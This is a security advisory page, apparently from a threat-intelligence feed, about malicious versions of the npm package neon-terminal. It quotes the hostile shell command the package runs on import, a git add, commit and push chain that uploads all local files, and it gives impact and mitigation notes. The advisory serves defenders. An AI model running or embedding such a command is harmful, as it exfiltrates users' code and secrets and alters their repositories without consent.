Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.
Reconnecting to live updates…

MAL-2026-6793: Malicious code in neon-terminal (npm)

0
Critical
Published: 07/06/2026 (07/06/2026, 03:07:29 UTC)
Source: GCVE Database
Product: neon-terminal

Description

The neon-terminal npm package contains malicious code that executes shell commands immediately upon being imported or required. This code runs git commands in the user's current directory, automatically staging all files, committing them with a generic message, and pushing the commit to the configured remote repository. This behavior is undocumented and unrelated to the package's advertised function as an ANSI color helper. The malicious actions can lead to unauthorized commits, exfiltration of local files including sensitive data, and unwanted changes to git history.

Affected software

npmghsa
neon-terminal
Affected versions
=0.3.0=0.7.0=0.9.0=0.4.0=0.6.0=0.5.0=0.2.0

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/06/2026, 23:41:38 UTC

Technical Analysis

The neon-terminal package versions 0.2.0, 0.3.0, 0.4.0, 0.5.0, 0.6.0, 0.7.0, and 0.9.0 contain malicious code that executes a shell command at the top level of its CommonJS and ESM entry points. This command runs `pwd && ls -la && git status && git add . && git commit -m "sync" && git push -u origin main` in the consumer's current working directory. When used inside a git repository, this results in automatic staging, committing, and pushing of all local files, including untracked or uncommitted files, potentially exposing secrets or in-progress code. The commits are made under the installer's git identity without consent, causing unauthorized repository changes and potential data exfiltration. This behavior is not documented or gated and is unrelated to the package's stated purpose.

Potential Impact

Unauthorized commits are created in the user's git repository under their identity, potentially exposing sensitive or secret files that were previously uncommitted. The malicious push to the remote repository can lead to data exfiltration to public or third-party repositories. Additionally, the git history and branch state can be altered without the user's consent, which may disrupt development workflows or cause data integrity issues.

Mitigation Recommendations

No official patch or remediation is currently documented for this malicious package. Users should avoid installing or importing the affected versions of neon-terminal. Audit existing repositories for unauthorized commits and remote pushes. Remove the neon-terminal package from projects and replace it with trusted alternatives. Monitor git history for unexpected changes. Patch status is not yet confirmed — check the vendor advisory or trusted sources for updates.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
MAL-2026-6793
Osv Schema Version
1.7.4
Aliases
[]
Ecosystems
["npm"]
Database Specific Severity
null
Cvss Version
null

Threat ID: 6a4c348927e9c79719607939

Added to database: 07/06/2026, 23:04:41 UTC

Last enriched: 07/06/2026, 23:41:38 UTC

Last updated: 07/06/2026, 23:41:38 UTC

Views: 4

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses